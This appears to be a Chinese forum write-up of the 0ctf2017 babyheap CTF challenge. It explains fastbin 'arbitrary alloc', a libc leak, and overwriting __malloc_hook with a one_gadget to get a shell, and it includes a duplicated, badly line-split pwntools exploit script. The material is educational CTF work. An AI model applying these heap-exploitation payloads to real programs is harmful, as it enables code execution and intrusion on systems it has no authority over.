Alloc to Stack在将chunk分配到栈上时需要栈上对应位置有合法的size,这样才能将堆内存分配到栈中,从而控制栈中的任意内存地址。而Arbitrary Alloc 和Alloc to Stack基本上完全相同,但是控制的内存地址不在仅仅局限于栈,而是任意的内存地址,比如说bss、heap、data、stack等等。
实验环境:
为方便理解,根据菜单函数把switch里面的函数改名,然后根据函数内容及函数功能将相应的函数和变量改名:
初始化,返回结构体初始地址
当某个baby结构体的flag为false时,才会进行添加。
calloc与malloc的区别:calloc会设置分配的内存为0。
结构如下图所示,将每个baby对应的chunk命名为babychunk
这个size可以随意大,存在堆溢出漏洞。
漏洞点:
可输入的点:
大概思路:
用arbitrary alloc,将chunk分配到__malloc_hook附近,使得__malloc_hook在chunk的user data部分,那么通过Fill选项就能将其覆盖为rop链的地址了,最后再调用一个malloc就能执行rop链以getshell 。
1.泄漏libc基址,为了覆盖__malloc_hook为rop链的地址
2.arbitrary alloc,分配chunk在__malloc_hook处
完整的过程如下gif所示,每个步骤的变化都通过颜色改变来体现。
1) malloc 4个fastbin的chunk、1个smallbin的chunk,然后依次free babychunk2和babychunk1。
于是,fastbin中变为了fastbin[0] -> babychunk1 -> babychunk2 <- 0x0,而babys结构体数组中baby1和baby2的flag和size都被置为0,content指针也被置为NULL。
64位程序fastbin的chunk大小为0x20-0x80
2)分别往babychunk0和babychunk3填充数据。
3)将之前置为空的两个baby结构体baby1和baby2重新填充数据,并分配两个0x10大小的babychunk。
4)溢出填充babychunk3,将babychunk4的size覆盖回0x90。
5)分配一个新的0x90大小的babychunk5,目的是为了防止紧接着free的babychunk4和top chunk合并。然后free babychunk4使得babychun4进入unsortedbin,此时babychunk4的fd和bk都指向(main_arena+88)。
6)利用dump选项泄漏babychunk4的fd(main_arena+88),计算libc基址。
以前遇到要查看距离libc基址偏移的情况,我是和看雪-mb_uvhwamsn-babyheap 一样用ida去查看,但是从看雪-yichen115-babyheap 看到一个计算main_arena距离libc偏移的工具:https://github.com/bash-c/main_arena_offset。
接下来是想办法将chunk分配到__malloc_hook附近,使得__malloc_hook在chunk的user data里,从而可以通过Fill选项将其修改为rop链的地址。
1)首先查看__malloc_hook附近的情况。
如文章开头所说,arbitrary alloc需要在要分配chunk的地方提前有合适的size,因为从fastbin里malloc一个chunk的时候会检查这个chunk的size是否符合大小要求。可以看到__malloc_hook附近有一些0x7f,如果能够通过错位让0x7f变成 size 的话就能通过检查,对应的user data大小为0x60。
根据chunk的size计算其在fastbin数组中index的宏如下所示:
#define fastbin_index(sz) ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
那么,64位程序:0x7f/16-2=5。所以0x7f对应的fastbin单链表要求的size为0x70,user data部分的size为0x60。
2)在fastbin中准备一个0x70大小的chunk,以修改其fd。
allocate(0x60)会重新启动baby4,并malloc一个0x70大小的chunk。malloc的时候会将unsortedbin里0x90大小的chunk分为两部分:0x70和0x20,然后将0x70大小的chunk分配给baby4的content指针。
free(4)又会清空baby4并free刚刚malloc的0x70大小的chunk,但是由于0x70是fastbin的大小范围内,所以此时是将其放到fastbin中去了。
此时各个部分的情况如下图所示:
3)确定要在__malloc_hook附近分配的chunk的地址:&main_arena-0x2b-0x8
4)由于此时baby2的content指针还指向babychunk4(这个地址也是分割free之后放在fastbin里的chunk的地址),因此通过Fill(2)可往这个0x70大小的chunk的fd填充&main_arena-0x2b-0x8。然后再进行两次allocate(0x60),就可以将chunk分配到我们想要的&main_arena-0x2b-0x8。
5)利用one_gadget工具找一个rop链
一段时间没用one_gadget,发现报错:( ,undefined method 'unpack1'
,解决方法:https://bbs.pediy.com/thread-265011.htm
另:用ruby-install 安装ruby2.6时,总是报错,然后我用proxychains4走主机的代理进行安装,可还是报错,但是此时已经下载了相关文件,接着不走代理重新执行一遍安装命令就安装成功了。
6)将__malloc_hook修改为rop链,并触发__malloc_hook函数。
one_gadget的地址需要一个一个试一下,当前环境是第二个地址成功了。
ctf-wiki-arbitrary-alloc
ctf-wiki-babyheap
$
file
0ctf2017babyheap
0ctf2017babyheap
: ELF
64
-
bit LSB shared
object
, x86
-
64
, version
1
(SYSV), dynamically linked, interpreter
/
lib64
/
ld
-
linux
-
x86
-
64.so
.
2
,
for
GNU
/
Linux
2.6
.
32
, BuildID[sha1]
=
9e5bfa980355d6158a76acacb7bda01f4e3fc1c2
, stripped
$ checksec
-
-
file
=
0ctf2017babyheap
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable
FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No
0
2
0ctf2017babyheap
$
file
0ctf2017babyheap
0ctf2017babyheap
: ELF
64
-
bit LSB shared
object
, x86
-
64
, version
1
(SYSV), dynamically linked, interpreter
/
lib64
/
ld
-
linux
-
x86
-
64.so
.
2
,
for
GNU
/
Linux
2.6
.
32
, BuildID[sha1]
=
9e5bfa980355d6158a76acacb7bda01f4e3fc1c2
, stripped
$ checksec
-
-
file
=
0ctf2017babyheap
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable
FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No
0
2
0ctf2017babyheap
struct baby{
__int64 flag;
__int64 size;
char
*
content;
}
struct baby{
__int64 flag;
__int64 size;
char
*
content;
}
from
pwn
import
*
from
LibcSearcher
import
LibcSearcher
from
sys
import
argv
def
ret2libc(leak, func, path
=
''):
if
path
=
=
'':
libc
=
LibcSearcher(func, leak)
base
=
leak
-
libc.dump(func)
system
=
base
+
libc.dump(
'system'
)
binsh
=
base
+
libc.dump(
'str_bin_sh'
)
else
:
libc
=
ELF(path)
base
=
leak
-
libc.sym[func]
system
=
base
+
libc.sym[
'system'
]
binsh
=
base
+
libc.search(
'/bin/sh'
).
next
()
return
(base, system, binsh)
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
delim,data :p.sendafter(delim,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
delim,data :p.sendlineafter(delim,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
context.log_level
=
'DEBUG'
binary
=
'./0ctf2017babyheap'
context.binary
=
binary
elf
=
ELF(binary,checksec
=
False
)
p
=
process(binary)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
,checksec
=
False
)
def
dbg():
gdb.attach(p)
pause()
def
allocate(size):
ru(
'Command: '
)
sl(
'1'
)
ru(
'Size: '
)
sl(
str
(size))
def
fill(idx, size, content):
ru(
'Command: '
)
sl(
'2'
)
ru(
'Index: '
)
sl(
str
(idx))
ru(
'Size: '
)
sl(
str
(size))
ru(
'Content: '
)
s(content)
def
free(idx):
ru(
'Command: '
)
sl(
'3'
)
ru(
'Index: '
)
sl(
str
(idx))
def
dump(idx):
ru(
'Command: '
)
sl(
'4'
)
ru(
'Index: '
)
sl(
str
(idx))
p.interactive()
from
pwn
import
*
from
LibcSearcher
import
LibcSearcher
from
sys
import
argv
def
ret2libc(leak, func, path
=
''):
if
path
=
=
'':
libc
=
LibcSearcher(func, leak)
base
=
leak
-
libc.dump(func)
system
=
base
+
libc.dump(
'system'
)
binsh
=
base
+
libc.dump(
'str_bin_sh'
)
else
:
libc
=
ELF(path)
base
=
leak
-
libc.sym[func]
system
=
base
+
libc.sym[
'system'
]
binsh
=
base
+
libc.search(
'/bin/sh'
).
next
()
return
(base, system, binsh)
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
delim,data :p.sendafter(delim,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
delim,data :p.sendlineafter(delim,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
context.log_level
=
'DEBUG'
binary
=
'./0ctf2017babyheap'
context.binary
=
binary
elf
=
ELF(binary,checksec
=
False
)
p
=
process(binary)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
,checksec
=
False
)
def
dbg():
gdb.attach(p)
pause()
def
allocate(size):
ru(
'Command: '
)
sl(
'1'
)
ru(
'Size: '
)
sl(
str
(size))
def
fill(idx, size, content):
ru(
'Command: '
)
sl(
'2'
)
ru(
'Index: '
)
sl(
str
(idx))
ru(
'Size: '
)
sl(
str
(size))
ru(
'Content: '
)
s(content)
def
free(idx):
ru(
'Command: '
)
sl(
'3'
)
ru(
'Index: '
)
sl(
str
(idx))
def
dump(idx):
ru(
'Command: '
)
sl(
'4'
)
ru(
'Index: '
)
sl(
str
(idx))
p.interactive()
allocate(
0x10
)
allocate(
0x10
)
allocate(
0x10
)
allocate(
0x10
)
allocate(
0x80
)
free(
2
)
free(
1
)
dbg()
allocate(
0x10
)
allocate(
0x10
)
allocate(
0x10
)
allocate(
0x10
)
allocate(
0x80
)
free(
2
)
free(
1
)
dbg()
payload
=
0x10
*
'a'
+
p64(
0
)
+
p64(
0x21
)
+
p8(
0x80
)
fill(
0
,
len
(payload), payload)
payload
=
0x10
*
'a'
+
p64(
0
)
+
p64(
0x21
)
fill(
3
,
len
(payload), payload)
dbg()
payload
=
0x10
*
'a'
+
p64(
0
)
+
p64(
0x21
)
+
p8(
0x80
)
fill(
0
,
len
(payload), payload)
payload
=
0x10
*
'a'
+
p64(
0
)
+
p64(
0x21
)
fill(
3
,
len
(payload), payload)
dbg()
allocate(
0x10
)
allocate(
0x10
)
dbg()
allocate(
0x10
)
allocate(
0x10
)
dbg()
payload
=
0x10
*
'a'
+
p64(
0
)
+
p64(
0x91
)
fill(
3
,
len
(payload), payload)
dbg()
payload
=
0x10
*
'a'
+
p64(
0
)
+
p64(
0x91
)
fill(
3
,
len
(payload), payload)
dbg()
allocate(
0x80
)
free(
4
)
dbg()
allocate(
0x80
)
free(
4
)
dbg()
def
offset_bin_main_arena(idx):
word_bytes
=
context.word_size
/
8
offset
=
4
offset
+
=
4
offset
+
=
word_bytes
*
10
offset
+
=
word_bytes
*
2
offset
+
=
idx
*
2
*
word_bytes
offset
-
=
word_bytes
*
2
return
offset
dump(
2
)
ru(
'Content: \n'
)
unsortedbin_addr
=
u64(r(
8
))
offset_unsortedbin_main_arena
=
offset_bin_main_arena(
0
)
main_arena
=
unsortedbin_addr
-
offset_unsortedbin_main_arena
leak(
'main arena addr'
, main_arena)
main_arena_offset
=
0x3c4b20
libc_base
=
main_arena
-
main_arena_offset
leak(
'libc base addr'
, libc_base)
dbg()
def
offset_bin_main_arena(idx):
word_bytes
=
context.word_size
/
8
offset
=
4
offset
+
=
4
offset
+
=
word_bytes
*
10
offset
+
=
word_bytes
*
2
offset
+
=
idx
*
2
*
word_bytes
offset
-
=
word_bytes
*
2
return
offset
dump(
2
)
ru(
'Content: \n'
)
unsortedbin_addr
=
u64(r(
8
))
offset_unsortedbin_main_arena
=
offset_bin_main_arena(
0
)
main_arena
=
unsortedbin_addr
-
offset_unsortedbin_main_arena
leak(
'main arena addr'
, main_arena)
main_arena_offset
=
0x3c4b20
libc_base
=
main_arena
-
main_arena_offset
leak(
'libc base addr'
, libc_base)
dbg()
allocate(
0x60
)
free(
4
)
dbg()
allocate(
0x60
)
free(
4
)
dbg()
fake_chunk_addr
=
main_arena
-
0x2b
fake_chunk
=
p64(fake_chunk_addr)
fill(
2
,
len
(fake_chunk), fake_chunk)
allocate(
0x60
)
allocate(
0x60
)
dbg()
fake_chunk_addr
=
main_arena
-
0x2b
fake_chunk
=
p64(fake_chunk_addr)
fill(
2
,
len
(fake_chunk), fake_chunk)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2021-6-24 15:49
被ztree编辑
,原因: 不知为什么gif变得不完整,重新编辑
上传的附件: